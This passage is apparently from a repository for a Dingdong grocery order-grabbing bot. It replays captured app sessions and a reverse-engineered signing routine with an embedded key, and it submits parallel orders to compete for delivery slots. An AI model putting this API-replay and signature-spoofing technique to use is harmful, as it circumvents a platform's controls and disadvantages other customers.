        api_channel: 'ios-native', // 可选 'ios-native', 'android-native' 或 'applet', 目前仅支持 'ios-native'
        profiles: [
            {
                seq: 0, // 指示程序读取charles_sessions目录下的第几个文件
                im_secret: '',// 通过抓包获取,用于签名请求
                alias: '', // 配置文件别名,用于在下单成功时提示是哪个账号
            }
        ],
    },
    log: {
        enable: true,
        console_level: 'debug', // Specific level will be output to console, can be trace debug info warn error
        log_level: 'debug', // Specific level will be write to file, can be trace debug info warn error
        folder: './log',
        log_split: true, // split log file by day
    },
};

================================================
FILE: package.json
================================================
{
    "name": "dingdong",
    "version": "1.0.0",
    "main": "index.js",
    "author": "Runc2333",
    "license": "GPL-3.0",
    "scripts": {
        "checkout:normal": "node scripts/checkout_cart",
        "checkout:speed": "node scripts/checkout_cart speedcheck"
    },
    "dependencies": {
        "axios": "^0.26.1",
        "dateformat": "^4.5.1",
        "fs-extra": "^10.1.0",
        "sound-play": "^1.1.0"
    }
}


================================================
FILE: scripts/checkout_cart.js
================================================
require('../config/config');
require('../utils/autoloader');

const path = require('path');
const player = require('sound-play');

const ddmc = require('../service/dingdong');
const webhook = require('../service/webhook');
const { load_profile } = require('../service/session_parser');
const { EventEmitter } = require('events');

let speedcheck = process.argv[2] === 'speedcheck';

const get_address = async (token) => {
    let address;
    while (!address) {
        try {
            address = await ddmc.get_address(token);
        } catch (e) {
            address = undefined;
            logger.e(`获取地址列表失败: ${e}`);
            if (/您的访问已过期/.test(e)) process.exit(1);
            if (!speedcheck) await tools.sleep(tools.rand_between(config.dingdong.submit_interval_min, config.dingdong.submit_interval_max));
        }
    }
    return address;
};

const get_cart = async (token) => {
    let cart;
    while (!cart) {
        try {
            await ddmc.cart_check_all(token);
            cart = await ddmc.get_cart(token);
            if (cart.new_order_product_list.length > 0) {
                logger.i(`购物车商品更新: 共 ${cart.new_order_product_list[0].total_count} 件`);
            } else {
                throw ('购物车无有货商品');
            }
        } catch (e) {
            cart = undefined;
            logger.e(`获取购物车内容失败: ${e}`);
            if (e.stack) logger.d(e.stack);
            if (!speedcheck) await tools.sleep(tools.rand_between(config.dingdong.submit_interval_min, config.dingdong.submit_interval_max));
        }
    }
    return cart;
};

const get_reserve_time = async (token, cart) => {
    let reserve_time;
    while (!reserve_time) {
        try {
            let resp = await ddmc.get_multi_reserve_time(token, cart);
            for (let time of resp[0].time[0].times) {
                if (!time.fullFlag && !time.arrival_time_msg.includes('尽快')) {
                    reserve_time = {
                        reserved_time_start: time.start_timestamp,
                        reserved_time_end: time.end_timestamp,
                        time_text: time.arrival_time_msg,
                    };
                    break;
                }
            }
            if (!reserve_time) {
                throw ('没有可预约的时间');
            }
        } catch (e) {
            reserve_time = undefined;
            logger.e(`获取预约时间失败: ${e}`);
            if (e.stack) logger.d(e.stack);
            if (!speedcheck) await tools.sleep(tools.rand_between(config.dingdong.submit_interval_min, config.dingdong.submit_interval_max));
        }
    }
    logger.i(`预约时间更新: ${reserve_time.time_text}`);
    return reserve_time;
};

const check_order = async (token, cart, reserve_time) => {
    let order;
    while (!order) {
        try {
            order = await ddmc.check_order(token, cart, reserve_time);
        } catch (e) {
            order = undefined;
            logger.e(`获取订单失败: ${e}`);
            if (e && e.stack) logger.e(e.stack);
            if (String(e).trim().length === 0) continue;
            if (!speedcheck) await tools.sleep(100);
        }
    }
    logger.i(`订单信息更新: 总计: ${order.order.total_money} 元`);
    return order;
};

(async () => {
    if (speedcheck) {
        if (config.dingdong.thread_count === undefined) {
            logger.w(`未设置提交订单并发数,请检查您的配置文件。本次运行将使用默认值: 2`);
        } else {
            logger.i(`当前提交订单并发数: ${config.dingdong.thread_count}`);
        }
        if (config.dingdong.thread_interval === undefined) {
            logger.w(`未设置线程创建延迟,请检查您的配置文件。本次运行将使用默认值: 100 ms`);
        } else {
            logger.i(`当前线程创建延迟: ${config.dingdong.thread_interval} ms`);
        }
    }
    for (let profile of config.dingdong.profiles) {
        (async () => {
            let session = load_profile(profile);
            // Rewrite station id and address id as default address
            let address = await get_address(session);
            let default_address = address.valid_address.find((addr) => {
                return addr.is_default;
            });
            if (!default_address) {
                logger.e(`[${profile.alias}] 没有设置默认地址,请先设置`);
                process.exit(1);
            }
            let [longitude, latitude] = default_address.location.location;
            session.params.station_id = default_address.station_id;
            session.params.city_number = default_address.city_number;
            session.params.longitude = longitude;
            session.params.latitude = latitude;
            session.headers["ddmc-station-id"] = default_address.station_id;
            session.headers["ddmc-city-number"] = default_address.city_number;
            session.headers["ddmc-longitude"] = longitude;
            session.headers["ddmc-latitude"] = latitude;
            session.user.address_id = default_address.id;
            logger.i(`[${profile.alias}] 当前默认地址 : ${default_address.location.address}`);
            // Tring to make order
            let cart = await get_cart(session);
            let reserve_time = await get_reserve_time(session, cart);
            let order = await check_order(session, cart, reserve_time);
            let success = false;
            let promise_list = [];
            let thread_count = speedcheck ? (config.dingdong.thread_count || 2) : 1;
            let thread_interval = speedcheck ? (config.dingdong.thread_interval || 100) : 100;
            let emitter = new EventEmitter();
            const submit_order = async () => {
                let local_success = false;
                // Refresh flags to avoid duplicate refresh
                let reserve_time_already_refreshed = false;
                emitter.on('reserve_time_refresh', () => { reserve_time_already_refreshed = true; });
                let cart_already_refreshed = false;
                emitter.on('cart_refresh', () => { cart_already_refreshed = true; });
                while (!success) {
                    logger.i(`[${profile.alias}] 尝试下单 ${cart.new_order_product_list[0].total_count} 件商品 总计: ${order.order.total_money} 元 送达时间: ${reserve_time.time_text}`);
                    try {
                        await ddmc.add_new_order(session, cart, order, reserve_time);
                        success = true;
                        local_success = true;
                    } catch (e) {
                        logger.e(`[${profile.alias}] 下单失败: ${e}`);
                        if (String(e).includes('时') && !reserve_time_already_refreshed) {
                            // Reserve time changed, refresh
                            reserve_time = await get_reserve_time(session, cart);
                            order = await check_order(session, cart, reserve_time);
                            emitter.emit('reserve_time_refresh');
                        }
                        if ((String(e).includes('售罄') || String(e).includes('缺货') || String(e).includes('暂未营业') || String(e).includes('订单金额不满足最低要求')) && !cart_already_refreshed) {
                            // Cart changed, refresh
                            await ddmc.cart_check_all(session);
                            cart = await get_cart(session);
                            order = await check_order(session, cart, reserve_time);
                            emitter.emit('cart_refresh');
                        }
                        // Reset refresh flag
                        reserve_time_already_refreshed = false;
                        cart_already_refreshed = false;
                    }
                    // Success logic
                    if (local_success) {
                        // Send notification to webhook
                        try {
                            if (config.dingdong.webhook_url) {
                                await webhook({ profile, cart, order, reserve_time });
                                logger.i(`[${profile.alias}] 已调用 webhook 方法`);
                            }
                        } catch (e) {
                            logger.e(`[${profile.alias}] 调用 Webhook 方法时出现错误: ${e}`);
                            logger.e(`[${profile.alias}] 请检查您的 webhook_url 是否正确, /service/webhook.js 是否编写正确, 接口状态是否正常`);
                            if (e.stack) logger.d(e.stack);
                        }
                        // Play notification sound
                        try {
                            player.play(path.join(__dirname, '..', 'assets', "success.mp3"), 1);
                        } catch (e) {
                            logger.e(`播放提示音失败: ${e}`);
                            if (e.stack) logger.d(e.stack);
                        }
                        logger.i(`[${profile.alias}] 下单成功`);
                        if (!speedcheck) {
                            // Loop when in normal mode
                            success = false; // Reset success flag
                            // Refresh cart and reserve time
                            cart = await get_cart(session);
                            reserve_time = await get_reserve_time(session, cart);
                            order = await check_order(session, cart, reserve_time);
                            continue; // Continue loop
                        }
                    }
                    if (!speedcheck) await tools.sleep(200);
                }
            };
            // Create threads
            for (let i = 0; i < thread_count; i++) {
                promise_list.push(submit_order());
                await tools.sleep(thread_interval);
            }
            await Promise.all(promise_list);
        })();
        if (!speedcheck) await tools.sleep(1000);
    }
})();

================================================
FILE: service/dingdong/api/applet/_applet_sign.js
================================================
const crypto = require('crypto');
const md5 = function (e) {
    return crypto.createHash('md5').update(e).digest('hex');
};

var randStr = function () {
    for (var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 16, t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnoprstuvwxyz12345678", n = "", r = 0; r < e; r++) n += t.charAt(Math.floor(Math.random() * t.length));
    return n;
};

function i (e, t, n) {
    return t in e ? Object.defineProperty(e, t, {
        value: n,
        enumerable: !0,
        configurable: !0,
        writable: !0
    }) : e[t] = n, e;
}

function r (e, t) {
    var n = Object.keys(e);
    if (Object.getOwnPropertySymbols) {
        var r = Object.getOwnPropertySymbols(e);
        t && (r = r.filter(function (t) {
            return Object.getOwnPropertyDescriptor(e, t).enumerable;
        })), n.push.apply(n, r);
    }
    return n;
}

function o (e) {
    for (var t = 1; t < arguments.length; t++) {
        var n = null != arguments[t] ? arguments[t] : {};
        t % 2 ? r(Object(n), !0).forEach(function (t) {
            i(e, t, n[t]);
        }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(n)) : r(Object(n)).forEach(function (t) {
            Object.defineProperty(e, t, Object.getOwnPropertyDescriptor(n, t));
        });
    }
    return e;
}

const funSesiEncrypt = function (e) {
    try {
        var t = md5(e).substring(5, 21), n = randStr(7), a = md5(n);
        return n + md5(a + e + t + n);
    } catch (e) {
        var c = randStr(18);
        return md5(c) + c.substring(5, 12);
    }
};

function a (e) {
    var t = e.uid, n = void 0 === t ? "" : t, r = "2lRMzaGLtb1zS5^WkQ3LcuOy^gC$0EB3Ys!%hDSzjQY891$yjB";
    var i = o(o({}, e), {}, {
        private_key: n || r
    }), s = "", u = Object.keys(i).sort();
    u.forEach(function (e, t) {
        s += "".concat(e, "=").concat(i[e]).concat(t < u.length - 1 ? "&" : "");
    });
    var l = md5(s);
    return {
        nars: l,
        sesi: funSesiEncrypt(l)
    };
}


function sign (body) {
    return a(JSON.parse(body));
}

module.exports = sign;

================================================
FILE: service/dingdong/api/applet/add_new_order.js
================================================
// const tools = require('../../../utils/tools');

module.exports = async (token, cart, order, reserve_time) => {
    let { params, headers, user } = token;
    if (order.order.total_money < config.dingdong.minimal_order_money) {
        throw (`订单金额不满足最低要求: ${order.order.total_money} 元`);
    }
    let package_order = {
        "reserved_time_start": reserve_time.reserved_time_start,
        "reserved_time_end": reserve_time.reserved_time_end,
        "price": order.order.total_money,
        "freight_discount_money": order.order.freight_discount_money,
        "freight_money": order.order.freight_money,
        "note": "",
        "product_type": 1,
        "order_product_list_sign": cart.order_product_list_sign,
        "address_id": user.address_id,
        "pay_type": 24,
        "products": cart.new_order_product_list[0].products.map(v => {
            return {
                "id": v.id,
                "parent_id": v.parent_id,
                "count": v.count,
                "cart_id": v.cart_id,
                "price": v.price,
                "product_type": v.product_type,
                "is_booking": v.is_booking,
                "sizes": v.sizes,
            };
        }),
        "vip_money": "",
        "vip_buy_user_ticket_id": ""
    };
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/order/addNewOrder',
        data: {
            ...params,
            order: JSON.stringify(package_order),
            soon_arrival: 0,
            showMsg: false,
        },
        headers: headers,
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }],
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.tips.limitMsg);
    }
};

================================================
FILE: service/dingdong/api/applet/add_to_cart.js
================================================
module.exports = async (token, id) => {
    let { params, headers } = token;
    if (!(id instanceof Array)) id = [id];
    let cart = id.map(v => {
        return {
            "id": v,
            "count": 1,
            "activity_id": "",
            "vip_activity_id": "",
            "mandatory_check": "1",
            "mandatory_count": 0,
            "batch_type": -1,
            "algo_info": {},
            "sizes": []
        };
    });
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/cart/add',
        data: {
            ...params,
            products: JSON.stringify(cart),
            is_filter: 1,
            activity_id: "",
            vip_activity_id: "",
            is_load: 1,
            add_scene: 0,
            showData: true,
            is_force_gift_coupon: 0,
            pageid: '',
            cid: '',
            vip_page: 0,
            is_guide_goods_onion: 0,
            filter_stock: 0,
            showMsg: false,
            ab_coinfig: JSON.stringify({
                "key_onion": "C"
            }),
        },
        headers: headers,
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }],
        // proxy: {
        //     host: '127.0.0.1',
        //     port: 8888
        // }
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/cart_check_all.js
================================================
module.exports = async (token) => {
    let { params, headers } = token;
    let result = ((await axios({
        method: 'get',
        url: 'https://maicai.api.ddxq.mobi/cart/allCheck',
        params: {
            ...params,
            is_check: 1,
            is_load: 1,
        },
        headers: headers,
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/check_order.js
================================================
module.exports = async (token, cart) => {
    let { params, headers, user } = token;
    let products = cart.new_order_product_list[0].products.map(v => {
        return {
            "id": v.id,
            "category_path": cart.product.effective[0].products.find(v => v.id === v.id).category_path || '',
            "count": v.count,
            "price": v.price,
            "total_money": v.total_price,
            "instant_rebate_money": v.instant_rebate_money,
            "activity_id": v.activity_id,
            "conditions_num": v.conditions_num,
            "product_type": v.product_type,
            "type": v.type,
        };
    });
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/order/checkOrder',
        data: {
            ...params,
            address_id: user.address_id,
            user_ticket_id: 'default',
            is_use_point: 0,
            is_use_balance: 0,
            is_buy_vip: 0,
            products: JSON.stringify(products),
            check_order_type: 0,
            showData: true,
        },
        headers: headers,
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }],
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message || result.data.tips.limitMsg);
    }
};

================================================
FILE: service/dingdong/api/applet/get_address.js
================================================
module.exports = async (token) => {
    let { params, headers } = token;
    let result = ((await axios({
        method: 'get',
        url: 'https://sunquan.api.ddxq.mobi/api/v1/user/address/',
        params: {
            ...params,
            source_type: 5,
        },
        headers: headers,
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/get_cart.js
================================================
module.exports = async (session) => {
    let result = ((await axios({
        method: 'get',
        url: 'https://maicai.api.ddxq.mobi/cart/index',
        params: {
            "ab_config": session.params["ab_config"],
            "api_version": session.params["api_version"],
            "app_client_id": session.params["app_client_id"],
            "app_type": session.params["app_type"],
            "buildVersion": session.params["buildVersion"],
            "channel": session.params["channel"],
            "city_number": session.params["city_number"],
            "countryCode": session.params["countryCode"],
            "device_id": session.params["device_id"],
            "device_model": session.params["device_model"],
            "device_name": session.params["device_name"],
            "device_token": session.params["device_token"],
            "idfa": session.params["idfa"],
            "ip": session.params["ip"],
            "is_filter": 0,
            "is_load": 1,
            "languageCode": session.params["languageCode"],
            "latitude": session.params["latitude"],
            "localeIdentifier": session.params["localeIdentifier"],
            "longitude": session.params["longitude"],
            "os_version": session.params["os_version"],
            "seqid": session.params["seqid"],
            "station_id": session.params["station_id"],
            "time": session.params["time"],
            "uid": session.params["uid"],
        },
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
        },
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/get_category_detail.js
================================================
module.exports = async (token, category_id) => {
    let { params, headers } = token;
    let result = ((await axios({
        method: 'get',
        url: 'https://maicai.api.ddxq.mobi/homeApi/categoriesNewDetail',
        params: {
            ...params,
            'version_control': 'new',
            category_id: category_id,
        },
        headers: headers,
        transformRequest: [(_data, headers) => {
            // Delete default headers
            delete headers.common['Accept'];
            delete headers['Content-Type'];
            headers['content-type'] = 'application/x-www-form-urlencoded';
            return _data;
        }],
        proxy: {
            host: '127.0.0.1',
            port: 8888,
        }
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/get_category_list.js
================================================
module.exports = async (token) => {
    let { params, headers } = token;
    let result = ((await axios({
        method: 'get',
        url: 'https://maicai.api.ddxq.mobi/homeApi/newCategories',
        params: params,
        headers: headers
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/get_multi_reserve_time.js
================================================
module.exports = async (token, cart) => {
    let { params, headers, user } = token;
    let products = [JSON.stringify(cart.new_order_product_list[0].products.map(product => {
        return {
            "sale_batches": {
                "batch_type": product.sale_batches.batch_type
            },
            "is_coupon_gift": 0,
            "id": product.id,
            "price": product.price,
            "is_booking": product.is_booking,
            "count": product.count,
            "small_image": product.small_image,
            "type": product.type,
            "origin_price": product.origin_price,
            "product_type": product.product_type,
            "product_name": product.product_name,
        };
    }))];
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/order/getMultiReserveTime',
        data: {
            ...params,
            address_id: user.address_id,
            products: products,
        },
        headers: headers,
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }]
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/applet/search_product.js
================================================
module.exports = async (token, keyword) => {
    let { params, headers } = token;
    let result = ((await axios({
        method: 'get',
        url: 'https://maicai.api.ddxq.mobi/search/searchProduct',
        params: {
            ...params,
            keyword: keyword,
            tag: '',
            page: 1,
            sort: 0,
            guide_id: '',
            select_activity_id: '',
            count: 12,
            like_size: 30
        },
        headers: headers
    })));

    if (result.data.success) {
        return result.data.data.product_list;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/ios-native/add_new_order.js
================================================
module.exports = async (session, cart, order, reserve_time) => {
    if (order.order.total_money < config.dingdong.minimal_order_money) {
        throw (`订单金额不满足最低要求: ${order.order.total_money} 元`);
    }
    let package_order = {
        "payment_order": {
            "parent_order_sign": cart.parent_order_info.parent_order_sign,
            "price": order.order.total_money,
            "pay_type": 2,
            "receipt_without_sku": "0",
            "order_freight": order.order.freights[0].freight.freight_real_money,
            "is_use_balance": "0",
            "address_id": session.user.address_id,
            "current_position": [session.params["latitude"], session.params["longitude"]],
            "user_ticket_id": order.order.default_coupon._id,
        },
        "packages": [{
            "first_selected_big_time": "0",
            "products": cart.new_order_product_list[0].products.map(v => {
                return {
                    "price": v.price,
                    "batch_type": v.sale_batches ? v.sale_batches.batch_type : 0,
                    "order_sort": v.order_sort,
                    "cart_id": v.cart_id,
                    "parent_id": v.parent_id,
                    "count": v.count,
                    "id": v.id,
                };
            }),
            "reserved_time_end": reserve_time.reserved_time_end,
            "package_id": cart.new_order_product_list[0].package_id,
            "package_type": cart.new_order_product_list[0].package_type,
            "soon_arrival": "",
            "eta_trace_id": "",
            "reserved_time_start": reserve_time.reserved_time_start,
            "real_match_supply_order": false,
            "time_biz_type": 0,
        }]
    };
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/order/addNewOrder',
        data: {
            "ab_config": `{"key_no_condition_barter":false}`,
            "api_version": session.params["api_version"],
            "app_client_id": session.params["app_client_id"],
            "app_type": session.params["app_type"],
            "buildVersion": session.params["buildVersion"],
            "channel": session.params["channel"],
            "city_number": session.params["city_number"],
            "clientDetail": ``,
            "countryCode": session.params["countryCode"],
            "device_id": session.params["device_id"],
            "device_model": session.params["device_model"],
            "device_name": session.params["device_name"],
            "device_token": session.params["device_token"],
            "idfa": session.params["idfa"],
            "ip": session.params["ip"],
            "languageCode": session.params["languageCode"],
            "latitude": session.params["latitude"],
            "localeIdentifier": session.params["localeIdentifier"],
            "longitude": session.params["longitude"],
            "os_version": session.params["os_version"],
            "package_order": JSON.stringify(package_order),
            "seqid": session.params["seqid"],
            "station_id": session.params["station_id"],
            "time": session.params["time"],
            "uid": session.params["uid"],
        },
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
            "im_secret": session.user["im_secret"],
        },
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }],
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message || result.data.tips.limitMsg);
    }
};

================================================
FILE: service/dingdong/api/ios-native/cart_check_all.js
================================================
module.exports = async (session) => {
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/cart/allCheck',
        data: {
            "ab_config": session.params["ab_config"],
            "api_version": session.params["api_version"],
            "app_client_id": session.params["app_client_id"],
            "app_type": session.params["app_type"],
            "buildVersion": session.params["buildVersion"],
            "channel": session.params["channel"],
            "city_number": session.params["city_number"],
            "countryCode": session.params["countryCode"],
            "device_id": session.params["device_id"],
            "device_model": session.params["device_model"],
            "device_name": session.params["device_name"],
            "device_token": session.params["device_token"],
            "idfa": session.params["idfa"],
            "ip": session.params["ip"],
            "is_check": 1,
            "is_filter": 0,
            "is_load": 1,
            "languageCode": session.params["languageCode"],
            "latitude": session.params["latitude"],
            "localeIdentifier": session.params["localeIdentifier"],
            "longitude": session.params["longitude"],
            "os_version": session.params["os_version"],
            "seqid": `1044641691`,
            "station_id": session.params["station_id"],
            "time": session.params["time"],
            "uid": session.params["uid"],
        },
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
            "im_secret": session.user["im_secret"],
        },
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }],
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/ios-native/check_order.js
================================================
module.exports = async (session, cart) => {
    let products = cart.new_order_product_list[0].products.map(v => {
        return {
            "id": v.id,
            "is_booking": v.is_booking,
            "total_money": v.total_price,
            "is_invoice": v.is_invoice ? true : false,
            "total_origin_money": v.total_origin_price,
            "category_path": v.category_path,
            "count": v.count,
            "type": v.type,
            "batch_type": v.sale_batches ? v.sale_batches.batch_type : 0,
            "is_coupon_gift": v.is_gift,
            "price": v.price,
            "order_sort": String(v.order_sort),
            "instant_rebate_money": v.instant_rebate_money,
            "activity_id": v.activity_id,
            "conditions_num": v.conditions_num,
            "price_type": String(v.price_type),
            "product_type": v.product_type,
            "origin_price": v.origin_price
        };
    });
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/order/checkOrder',
        data: {
            "ab_config": `{"ETA_time_default_selection":"C1.1"}`,
            "api_version": session.params["api_version"],
            "app_client_id": session.params["app_client_id"],
            "app_type": session.params["app_type"],
            "buildVersion": session.params["buildVersion"],
            "channel": session.params["channel"],
            "city_number": session.params["city_number"],
            "countryCode": session.params["countryCode"],
            "coupons_id": "",
            "device_id": session.params["device_id"],
            "device_model": session.params["device_model"],
            "device_name": session.params["device_name"],
            "device_token": session.params["device_token"],
            "freight_ticket_id": 'default',
            "idfa": session.params["idfa"],
            "ip": session.params["ip"],
            "is_buy_coupons": 0,
            "languageCode": session.params["languageCode"],
            "latitude": session.params["latitude"],
            "localeIdentifier": session.params["localeIdentifier"],
            "longitude": session.params["longitude"],
            "os_version": session.params["os_version"],
            "seqid": session.params["seqid"],
            "station_id": session.params["station_id"],
            "time": session.params["time"],
            "uid": session.params["uid"],
            "address_id": session.user.address_id,
            "user_ticket_id": 'default',
            "is_use_point": 0,
            "is_use_balance": 0,
            "is_buy_vip": 0,
            "packages": JSON.stringify([{
                "reserved_time": {
                    "time_biz_type": 0,
                },
                "real_match_supply_order": cart.new_order_product_list[0].is_supply_order,
                "is_supply_order": cart.new_order_product_list[0].is_supply_order,
                "package_type": cart.new_order_product_list[0].package_type,
                "package_id": cart.new_order_product_list[0].package_id,
                "products": products,
            }]),
            "check_order_type": 0,
        },
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
            "im_secret": session.user["im_secret"],
        },
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }],
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message || result.data.tips.limitMsg);
    }
};

================================================
FILE: service/dingdong/api/ios-native/get_address.js
================================================
module.exports = async (session) => {
    let { params } = session;
    let result = ((await axios({
        method: 'get',
        url: 'https://sunquan.api.ddxq.mobi/api/v1/user/address/',
        params: {
            ...params,
            source_type: 5,
        },
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
